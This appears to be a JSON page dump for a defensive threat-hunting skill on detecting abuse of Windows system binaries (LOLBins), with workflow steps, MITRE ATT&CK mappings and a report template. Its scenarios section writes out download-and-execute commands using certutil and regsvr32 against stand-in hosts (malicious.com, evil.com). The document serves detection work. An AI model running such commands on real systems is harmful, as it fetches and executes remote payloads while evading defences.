[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M750KNFEAMGX2AN7AC765T3E":3,"skill-same:01M750KNFEAMGX2AN7AC765T3E":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":36,"commitSha":37,"skillDirectory":5,"forksCount":14,"repositoryHtmlUrl":38,"repositoryHomepageUrl":6,"ownerHtmlUrl":39,"ownerBlogUrl":40,"ownerDescription":6,"updatedAt":41,"install":42,"resources":55},"01M750KNFEAMGX2AN7AC765T3E","hunting-for-living-off-the-land-binaries",null,"Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.","SamuelChien\u002Fmega-skills-collection","SamuelChien","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F4652114?v=4","01M74KK34WVHA0P5ZYSJRDDFMG","Samuel Chien","01M74KK35FQN1N9VZ9EPTH3P2S",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fhunting-for-living-off-the-land-binaries\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fhunting-for-living-off-the-land-binaries\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: hunting-for-living-off-the-land-binaries\ndescription: Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.\ndomain: cybersecurity\nsubdomain: threat-hunting\ntags: [threat-hunting, mitre-attack, lolbins, edr, siem, proactive-detection, defense-evasion]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Hunting for Living-off-the-Land Binaries (LOLBins)\n\n## When to Use\n\n- When investigating fileless malware campaigns that bypass traditional AV\n- During proactive threat hunts targeting defense evasion techniques\n- When EDR alerts fire on legitimate binaries executing unusual child processes\n- After threat intelligence reports indicate LOLBin abuse in active campaigns\n- During red team\u002Fpurple team exercises validating detection coverage for T1218\n\n## Prerequisites\n\n- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)\n- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)\n- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list\n- PowerShell command-line logging enabled (Module Logging, Script Block Logging)\n- Network proxy or firewall logs for correlating outbound connections\n\n## Workflow\n\n1. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., \"Adversaries are using certutil.exe to download second-stage payloads from external domains\").\n2. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).\n3. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.\n4. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.\n5. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.\n6. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.\n7. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |\n| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |\n| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.002 | Control Panel (control.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 |\n| T1218.011 | Rundll32 |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| Proxy Execution | Using trusted binaries to execute untrusted code |\n| Fileless Attack | Attack that operates primarily in memory without dropping files |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CrowdStrike Falcon | EDR telemetry and process tree analysis |\n| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |\n| Splunk | SIEM log aggregation and SPL queries |\n| Elastic Security | Detection rules and timeline investigation |\n| Sysmon | Detailed process creation and network logging |\n| LOLBAS Project | Reference database of LOLBin capabilities |\n| Sigma Rules | Generic detection rule format for LOLBins |\n| Velociraptor | Endpoint forensic collection and hunting |\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe` to download malware, bypassing web proxies that allow certutil traffic.\n2. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.\n3. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.\n4. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Ffile.sct scrobj.dll` bypassing application whitelisting.\n5. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin \u002Ftransfer`.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHypothesis: [Stated hypothesis]\nLOLBins Investigated: [List of binaries]\nTime Range: [Start] - [End]\nData Sources: [EDR, Sysmon, SIEM]\nFindings:\n  - [Finding 1 with evidence]\n  - [Finding 2 with evidence]\nAnomalies Detected: [Count]\nTrue Positives: [Count]\nFalse Positives: [Count]\nIOCs Identified: [List]\nDetection Rules Created\u002FUpdated: [List]\nRecommendations: [Next steps]\n```\n","# Hunting for Living-off-the-Land Binaries (LOLBins)\n\n## When to Use\n\n- When investigating fileless malware campaigns that bypass traditional AV\n- During proactive threat hunts targeting defense evasion techniques\n- When EDR alerts fire on legitimate binaries executing unusual child processes\n- After threat intelligence reports indicate LOLBin abuse in active campaigns\n- During red team\u002Fpurple team exercises validating detection coverage for T1218\n\n## Prerequisites\n\n- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)\n- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)\n- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list\n- PowerShell command-line logging enabled (Module Logging, Script Block Logging)\n- Network proxy or firewall logs for correlating outbound connections\n\n## Workflow\n\n1. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., \"Adversaries are using certutil.exe to download second-stage payloads from external domains\").\n2. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).\n3. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.\n4. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.\n5. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.\n6. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.\n7. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |\n| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |\n| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.002 | Control Panel (control.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 |\n| T1218.011 | Rundll32 |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| Proxy Execution | Using trusted binaries to execute untrusted code |\n| Fileless Attack | Attack that operates primarily in memory without dropping files |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CrowdStrike Falcon | EDR telemetry and process tree analysis |\n| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |\n| Splunk | SIEM log aggregation and SPL queries |\n| Elastic Security | Detection rules and timeline investigation |\n| Sysmon | Detailed process creation and network logging |\n| LOLBAS Project | Reference database of LOLBin capabilities |\n| Sigma Rules | Generic detection rule format for LOLBins |\n| Velociraptor | Endpoint forensic collection and hunting |\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe` to download malware, bypassing web proxies that allow certutil traffic.\n2. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.\n3. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.\n4. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Ffile.sct scrobj.dll` bypassing application whitelisting.\n5. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin \u002Ftransfer`.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHypothesis: [Stated hypothesis]\nLOLBins Investigated: [List of binaries]\nTime Range: [Start] - [End]\nData Sources: [EDR, Sysmon, SIEM]\nFindings:\n  - [Finding 1 with evidence]\n  - [Finding 2 with evidence]\nAnomalies Detected: [Count]\nTrue Positives: [Count]\nFalse Positives: [Count]\nIOCs Identified: [List]\nDetection Rules Created\u002FUpdated: [List]\nRecommendations: [Next steps]\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"subdomain":26,"description":7},[26,27,28,29,30,31,32],"threat-hunting","mitre-attack","lolbins","edr","siem","proactive-detection","defense-evasion","mahipal","cybersecurity","1.0","main","c2b1fdccc779e99ac814e55fb69ca8d71215dd0f","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection","https:\u002F\u002Fgithub.com\u002FSamuelChien","http:\u002F\u002Fsamuelchien.com\u002F","2026-05-26 08:27:14",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add SamuelChien\u002Fmega-skills-collection --skill hunting-for-living-off-the-land-binaries",{"tool":48,"command":49},"bunx","bunx skills add SamuelChien\u002Fmega-skills-collection --skill hunting-for-living-off-the-land-binaries",{"tool":51,"command":52},"pnpm","pnpm dlx skills add SamuelChien\u002Fmega-skills-collection --skill hunting-for-living-off-the-land-binaries","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fhunting-for-living-off-the-land-binaries\u002FSKILL.md",true,[56,62,66,72,76,80,86],{"path":57,"resourceType":58,"resourceTypeDesc":59,"sizeBytes":60,"sourceHtmlUrl":61},"assets\u002Ftemplate.md","ASSET","资产文件",3740,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fhunting-for-living-off-the-land-binaries\u002Fassets\u002Ftemplate.md",{"path":63,"resourceType":63,"resourceTypeDesc":64,"sizeBytes":65,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":67,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":71},"references\u002Fapi-reference.md","REFERENCE","参考文档",1958,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fhunting-for-living-off-the-land-binaries\u002Freferences\u002Fapi-reference.md",{"path":73,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":74,"sourceHtmlUrl":75},"references\u002Fstandards.md",3135,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fhunting-for-living-off-the-land-binaries\u002Freferences\u002Fstandards.md",{"path":77,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":78,"sourceHtmlUrl":79},"references\u002Fworkflows.md",4551,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fhunting-for-living-off-the-land-binaries\u002Freferences\u002Fworkflows.md",{"path":81,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"scripts\u002Fagent.py","SCRIPT","脚本",6474,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fhunting-for-living-off-the-land-binaries\u002Fscripts\u002Fagent.py",{"path":87,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fprocess.py",19407,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fhunting-for-living-off-the-land-binaries\u002Fscripts\u002Fprocess.py",[91,99,106,113,120,127],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M76R4WZQZAXGGXMQCA0FZ716","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reactive state patterns with Zustand.","MIT","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M76R4T9KENDH7FENGZQHBW4G","zustand-store-creator","Zustand Store Creator - Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M76R3YWN84B7SANJ52X799ZE","zero-trust-config-helper","Zero Trust Config Helper - Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M76R3HNSV2AEYSKHM915GJ58","zapier-integration-helper","Zapier Integration Helper - Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M76R3DJSKAT4FA7DV4BF3GCE","zai-cli","Execute z.AI CLI providing vision, search, reader, and GitHub exploration via CLI and MCP.\nUse when user needs image\u002Fvideo analysis, OCR, UI-to-code conversion, error diagnosis,\nreal-time web search, web page to markdown extraction, or GitHub code exploration.\nTrigger with phrases like \"analyze this image\", \"search the web for\", \"read this page\",\n\"explore this repo\", or \"use zai\". Requires Z_AI_API_KEY.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzai-cli\u002FSKILL.md",[],[],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":133,"publishedAt":20},"01M76R2KAM699XE9AJVAWE4H2E","yt-research","Research competitor YouTube channels, niches, and trending topics for your content strategy.\nUse this skill whenever the user says \"research channels\", \"analyze competitors\", \"find trending topics\",\n\"niche analysis\", \"competitive research\", \"what are other creators doing\", \"scrape YouTube channels\",\nor wants to understand the competitive landscape for a specific tool or topic area. Use when working with yt research. Trigger with 'yt', 'research'.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fyt-research\u002FSKILL.md",[],[]]